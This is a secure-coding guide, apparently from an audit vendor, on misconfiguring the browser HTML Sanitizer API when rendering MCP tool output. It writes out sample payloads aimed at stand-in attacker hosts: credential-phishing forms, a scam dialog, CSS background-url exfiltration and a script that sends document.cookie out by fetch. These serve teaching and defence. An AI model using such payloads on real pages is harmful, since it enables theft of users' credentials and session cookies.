MCP server security · HTML Sanitizer API · setHTML · Trusted Types integration

MCP server HTML Sanitizer API security — default config gaps, setHTMLUnsafe misuse, and Trusted Types interaction

The HTML Sanitizer API (new Sanitizer(), element.setHTML(), document.parseHTML()) is the browser-native sanitization API designed to replace DOMPurify for client-side HTML rendering. For MCP server tool output rendering it is a strong baseline — but its default configuration allows elements and attributes that enable non-script attacks. The setHTMLUnsafe() method skips all sanitization. Custom allowElements configurations that omit allowAttributes miss CSS injection. And a common integration mistake — extracting innerHTML from a TrustedHTML object — silently breaks the Trusted Types guarantee.

Default Sanitizer allowlist and non-script attack vectors

The default new Sanitizer() with no configuration removes <script>, event handlers, and javascript: URIs — but it allows a wide set of HTML elements including <form>, <input>, <button>, <details>, <summary>, and <dialog>. In some browser implementations, newer HTML attributes like commandfor and command (for the Invokers API) are also allowed. MCP tool output that cannot inject <script> can still cause harm using these allowed elements.

// Default Sanitizer — what it allows that you might not expect:
const sanitizer = new Sanitizer()  // No configuration = permissive defaults

const outputDiv = document.getElementById('mcp-output')

// BLOCKED by default Sanitizer:
outputDiv.setHTML('<script>alert(1)</script>', { sanitizer })
// → '' (script element and content removed)

outputDiv.setHTML('<img onerror="alert(1)" src=x>', { sanitizer })
// → '<img src="x">' (onerror stripped)

// ALLOWED by default Sanitizer — potential non-script attacks:

// 1. Form phishing: replace login UI with attacker-controlled form
outputDiv.setHTML(`
  <form action="https://attacker.example/steal" method="POST">
    <p>Your session has expired. Please re-enter your credentials.</p>
    <input name="username" placeholder="Username">
    <input name="password" type="password" placeholder="Password">
    <button type="submit">Log in</button>
  </form>
`, { sanitizer })
// → Form renders and submits credentials to attacker.example
// Default Sanitizer does NOT block form elements or cross-origin action attributes

// 2. Dialog hijacking: inject a modal dialog over the page
outputDiv.setHTML(`
  <dialog open>
    <h2>Critical security alert</h2>
    <p>Call us immediately at +1-800-FAKE-NUM</p>
    <button>OK</button>
  </dialog>
`, { sanitizer })
// → Dialog renders over page content — social engineering / tech support scam vector

// 3. details/summary: hide injected content in a collapsed section
outputDiv.setHTML(`
  <details open>
    <summary>Click to see your results</summary>
    <form action="https://attacker.example/capture" method="GET">
      <input name="token" value="auto-exfil-via-form-submit-on-focus">
    </form>
  </details>
`, { sanitizer })

Default is not safe for MCP tool output: The default Sanitizer is designed for rendering user-generated content from trusted communities (blog comments, forum posts) where form injection and dialog injection are low-risk. For MCP tool output — which can come from external, attacker-controlled tools — the default config is too permissive. Always use an explicit allowElements allowlist.

allowElements without allowAttributes — CSS injection gap

When configuring a custom Sanitizer with allowElements, many developers assume that specifying the allowed elements is sufficient and omit allowAttributes. This is incorrect: allowed elements retain all their attributes unless allowAttributes explicitly restricts them. The style attribute is allowed on any element by default — and CSS injection via the style attribute enables data exfiltration.

// VULNERABLE: allowElements without allowAttributes
const restrictiveSanitizer = new Sanitizer({
  allowElements: ['div', 'span', 'p', 'code', 'a'],
  // allowAttributes is NOT specified — all attributes are allowed on these elements
})

outputDiv.setHTML(toolOutput, { sanitizer: restrictiveSanitizer })

// Attacker tool output:
// '<a href="https://legit.example" style="position:fixed;top:0;left:0;width:100%;height:100%;background:url(https://attacker.example/screenshot?p=1)">Click here</a>'
// → The style attribute is allowed (not in allowElements, so not blocked)
// → CSS overlay covers the entire page with an attacker-controlled background image
// → The background image request leaks the page URL and timing to the attacker

// More direct CSS exfiltration via attribute selector:
// '<div style="background:url(https://attacker.example/steal?v=1)"></div>'
// → Sends a request to attacker.example whenever the div renders

// CORRECT: allowElements AND allowAttributes
const safeSanitizer = new Sanitizer({
  allowElements: ['div', 'span', 'p', 'code', 'pre', 'ul', 'ol', 'li', 'a', 'br', 'hr',
                  'b', 'i', 'em', 'strong', 'blockquote'],
  allowAttributes: {
    'a': ['href', 'title'],          // Only href and title on anchors
    'code': ['class'],               // class for syntax highlighting libraries
    'pre': ['class'],
    // 'style' is intentionally absent — no CSS injection possible
    // '*' is intentionally absent — no global attributes
  },
})

// With this config:
outputDiv.setHTML('<a href="https://legit.example" style="color:red">link</a>', { sanitizer: safeSanitizer })
// → '<a href="https://legit.example">link</a>'  ← style attribute stripped

setHTMLUnsafe() — not a sanitization method

element.setHTMLUnsafe() performs no sanitization. Its purpose is rendering trusted author HTML that contains Declarative Shadow DOM templates (<template shadowrootmode="open">) — constructs that the safe Sanitizer strips. Using setHTMLUnsafe() with MCP tool output is equivalent to innerHTML assignment without any sanitization.

// DANGEROUS: setHTMLUnsafe() on MCP tool output
const toolResult = await mcpClient.callTool('render_content', { input: userQuery })
outputDiv.setHTMLUnsafe(toolResult.content)
// ANY executable HTML in toolResult.content will run:
// '<script>fetch("https://attacker.example?c="+document.cookie)</script>' → executes
// '<img src=x onerror=fetch("https://evil.example")>' → executes
// '<svg><animate onbegin=alert(1)></animate></svg>' → executes

// setHTMLUnsafe() is appropriate ONLY for:
// - Server-generated HTML you fully control (e.g., your own template output)
// - HTML that contains Declarative Shadow DOM templates from your own build system
// - NOT for any external data including MCP tool return values

// parseHTML() vs parseHTMLUnsafe():
// document.parseHTML(str) → returns a new Document with Sanitizer applied
// document.parseHTMLUnsafe(str) → returns a new Document WITHOUT sanitization
// Same safety distinction: parseHTML is safe, parseHTMLUnsafe is not.

// SAFE pattern using parseHTML:
const parsed = document.parseHTML(toolResult.content)
// parsed is a full Document with sanitized content
// Adopt specific nodes rather than the entire body:
const fragment = document.createDocumentFragment()
while (parsed.body.firstChild) {
  fragment.appendChild(parsed.body.firstChild)
}
outputDiv.appendChild(fragment)
// The Sanitizer's restrictions apply — no scripts, no event handlers

Trusted Types interaction — breaking the guarantee

element.setHTML() integrates with Trusted Types: it satisfies Trusted Types enforcement at the innerHTML DOM sink level. But developers sometimes want to use the Sanitizer API through a Trusted Types policy — and a common mistake breaks the guarantee: extracting the HTML string from a TrustedHTML object before re-assigning it to innerHTML.

// WRONG: Extracting innerHTML from TrustedHTML breaks Trusted Types guarantee
// This pattern defeats the purpose of both Sanitizer and Trusted Types.

import DOMPurify from 'dompurify'

const policy = trustedTypes.createPolicy('sanitize', {
  createHTML: (s) => DOMPurify.sanitize(s),
})

// Correct so far — policy creates a TrustedHTML object.
const trustedHtml = policy.createHTML(toolOutput.content)
// trustedHtml is a TrustedHTML — good.

// WRONG: extracting the string from TrustedHTML and calling Sanitizer separately
const sanitizer = new Sanitizer()
const tempDiv = document.createElement('div')

// This line extracts the sanitized string from TrustedHTML back to a plain string:
tempDiv.innerHTML = trustedHtml      // ← This is safe (TrustedHTML assigned to innerHTML)
const plainHtmlString = tempDiv.innerHTML  // ← NOW it's a plain string again

// Running the Sanitizer on the extracted string and re-assigning:
outputDiv.setHTML(plainHtmlString, { sanitizer })
// setHTML does not require TrustedHTML — it accepts plain strings and sanitizes them.
// But now the Trusted Types chain is broken:
// - The TrustedHTML was created by the DOMPurify policy
// - We extracted it back to a plain string (which strips the TrustedHTML type guarantee)
// - Any subsequent assignment via innerHTML (not setHTML) with the plain string would fail
// - And the double-sanitization is redundant and confusing

// CORRECT: use setHTML directly — it handles sanitization without Trusted Types
outputDiv.setHTML(toolOutput.content, { sanitizer: mySanitizer })
// No Trusted Types policy needed — setHTML directly invokes the Sanitizer.

// CORRECT: use Trusted Types policy WITH DOMPurify for innerHTML assignments
// (use this when Trusted Types enforcement requires TrustedHTML for innerHTML)
const policy = trustedTypes.createPolicy('mcp-sanitize', {
  createHTML: (s) => DOMPurify.sanitize(s, { ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }),
})
outputDiv.innerHTML = policy.createHTML(toolOutput.content)
// TrustedHTML chain intact — DOMPurify sanitizes inside createHTML, TrustedHTML at sink.

// DO NOT mix both patterns on the same element:
// Don't call setHTML AND assign innerHTML — pick one approach and be consistent.

Sanitizer API browser support: The Sanitizer API (setHTML / setHTMLUnsafe / parseHTML / parseHTMLUnsafe) is Baseline 2025 and available in Chrome 130+, Firefox 137+. Safari support is in development. For cross-browser MCP clients that must support Safari, use DOMPurify as the primary sanitizer with the Sanitizer API as progressive enhancement via feature detection (typeof element.setHTML === 'function').

Sanitizer API configuration reference

Config key Effect Security note
allowElements: [...] Only listed elements are kept. All other elements are removed (their children may be kept). Must be combined with allowAttributes to restrict attributes on allowed elements.
allowAttributes: { tag: [attrs] } Only listed attributes on listed tags (or '*' for all tags) are kept. Never include style or on* attributes unless CSS injection is acceptable.
removeElements: [...] Listed elements and their children are removed entirely. Works alongside allowElements or as a standalone blocklist (less safe than allowlist).
removeAttributes: [...] Listed attributes are removed from all elements. Blocklist approach — missing a new dangerous attribute is possible.
No config (default) Removes scripts, event handlers, javascript: URIs. Allows most other HTML including forms, dialogs, inputs. Too permissive for MCP tool output. Form and dialog injection are possible.

Correct Sanitizer configuration for MCP tool output

// Recommended Sanitizer configuration for MCP tool output rendering
// Allowlist-based: only the elements and attributes in this list are permitted.
// Everything else is stripped.

const mcpOutputSanitizer = new Sanitizer({
  allowElements: [
    // Text content
    'p', 'br', 'hr', 'b', 'i', 'em', 'strong', 'u', 's', 'del', 'ins',
    // Headings
    'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
    // Lists
    'ul', 'ol', 'li', 'dl', 'dt', 'dd',
    // Code
    'code', 'pre', 'samp', 'kbd',
    // Inline
    'span', 'div',
    // Links and images (with restricted attributes below)
    'a', 'img',
    // Tables
    'table', 'thead', 'tbody', 'tfoot', 'tr', 'th', 'td', 'caption', 'colgroup', 'col',
    // Quotes
    'blockquote', 'q', 'cite',
    // Misc content
    'abbr', 'acronym', 'mark', 'small', 'sub', 'sup',
    'figure', 'figcaption',
    // Explicitly NOT in this list:
    // form, input, button, select, textarea (phishing vectors)
    // script, style, link (execution/injection vectors)
    // iframe, frame, embed, object (content injection)
    // dialog, details, summary (UI spoofing vectors)
    // svg, math (complex parsers with historically more bypass vectors)
  ],
  allowAttributes: {
    'a': ['href', 'title', 'rel'],   // href: allow links; rel: for noopener
    'img': ['src', 'alt', 'width', 'height', 'loading'],
    'th': ['scope', 'colspan', 'rowspan'],
    'td': ['colspan', 'rowspan'],
    'code': ['class'],   // for syntax highlighting (language-* classes)
    'pre': ['class'],
    // 'style' intentionally absent — prevents CSS injection
    // 'on*' attributes automatically blocked by Sanitizer even without explicit exclusion
    // 'id' intentionally absent — prevents script targeting of injected elements
  },
})

// Usage
async function renderMcpOutput(container, tool, params) {
  const result = await mcpClient.callTool(tool, params)
  container.setHTML(result.content, { sanitizer: mcpOutputSanitizer })
}

// Verify your config using the browser interop test suite:
// https://wpt.live/sanitizer-api/
// Tests cover element removal, attribute removal, and allowed combinations.

SkillAudit findings

Critical
setHTMLUnsafe() used with MCP tool outputelement.setHTMLUnsafe() is called with MCP tool return values. This method performs no sanitization — it is equivalent to innerHTML assignment. All executable HTML in tool output runs: script elements, event handlers, SVG animation handlers, and Invoker API commands. −25 pts
High
Default Sanitizer config — form and dialog injection possiblenew Sanitizer() with no configuration is used to render MCP tool output. The default config allows <form>, <input>, <button>, and <dialog> elements. Tool output can inject credential-harvesting forms and UI-spoofing dialogs. −18 pts
High
allowElements configured without allowAttributes — CSS injection via style attribute — Custom Sanitizer allows specific elements but all their attributes are permitted. The style attribute enables CSS-based data exfiltration (background image URLs) and UI overlay attacks from MCP tool output. −16 pts
Medium
TrustedHTML.innerHTML extraction breaks Trusted Types chain — Code extracts innerHTML from a TrustedHTML object (converting it back to a plain string) before passing it to the Sanitizer. This breaks the end-to-end Trusted Types guarantee — subsequent innerHTML assignments with the extracted string will fail Trusted Types enforcement. −10 pts
Low
No DOMPurify fallback for Safari users — Sanitizer API is used without a feature-detection fallback. Safari does not support setHTML() (as of June 2026), so Safari users receive unsanitized tool output via an innerHTML fallback path. −6 pts

Run an audit →

See also